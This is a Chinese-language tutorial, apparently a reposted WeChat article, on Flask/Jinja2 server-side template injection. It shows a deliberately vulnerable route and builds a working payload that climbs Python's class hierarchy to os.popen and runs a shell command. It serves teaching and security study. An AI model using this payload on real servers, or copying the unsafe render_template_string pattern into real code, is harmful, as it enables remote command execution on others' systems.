flask ssti 模板注入

admin 2024年10月18日23:41:12评论7 views字数 2016阅读6分43秒阅读模式

获网安教程

免费&进群

flask ssti 模板注入  
flask ssti 模板注入
本文由掌控安全学院-s_s投稿
0x01:flask是基于python开发的一个轻量级web应用,可以用来搭建web环境。

安装flask框架命令:

pip install flask
0x02:漏洞环境代码分析:

render_template_string3.py(这里是我自己给测试文件的命名):

from flask import Flask,render_template_string, request

app=Flask(__name__)

<span>@app.route('/test')#CTL{n}def</span> test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)

if __name__ =='__main__':
app.run()

没有接触过flask框架的小伙伴看到可能会有点懵,简单分析一下,运行这个py文件就会启动web服务,默认在本机的5000端口,<span>@app.route(‘/test’)?</span>??作用是找路由,这里是http://127.0.0.1:5000/test路径。code = request.args.get(‘id’)的意思是把get传参过来的id字段赋值给变量code。

最核心的地方就是rendet_template_string()函数,这个可以渲染前端输出,这里是把code的值在前端格式化输出了。

html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
0x03:接下来需要了解一个知识点,flask使用的是jinja2的渲染方法,渲染的时候{{}}可以解析包含的内容。如:
from flask import Flask,render_template_string, request

app=Flask(__name__)

<span>@app.route('/aaaaa')#CTL{n}def</span> index():
content = request.args.get("content")
return render_template_string(content)


if __name__ =='__main__':
app.run()

访问http://127.0.0.1:5000/aaaaa?content=1,页面会显示1

访问http://127.0.0.1:5000/aaaaa?content={{2*2}},页面会显示4

很明显,这里的传参被执行了,说明我们可以进行注入了。

0x04:实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。我们从这段话出发,假定你已经知道ssti漏洞了,但是完全没学过ssti代码怎么写,接下来你可能会学到一点废话。

"".__class__ 意思是空字符串的基类,是str
"".__class__.__mro__ mro给出了method resolution order,即解析方法调用的顺序,可以得到object类
"".__class__.__bases__[0].__subclasses__() subclasses是返回该类的所有子类的集合
举个例子,我们想要命令执行,就需要找到os函数,Ctrl+F找到了,再__init__.__globals__,这里init初始化类,然后globals全局来查找所有的方法及变量及参数。

到这里poc为

http://127.0.0.1:5000/test?id={{%27%27.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__}}

flask ssti 模板注入

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。

最终poc为:

http://127.0.0.1:5000/test?id={{%27%27.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__[%27popen%27](%27dir%27).read()}}

flask ssti 模板注入

这里我们执行了dir命令,得到了回显。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

flask ssti 模板注入

原文始发于微信公众号(掌控安全EDU):flask ssti 模板注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日23:41:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   flask ssti 模板注入https://cn-sec.com/archives/1876147.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息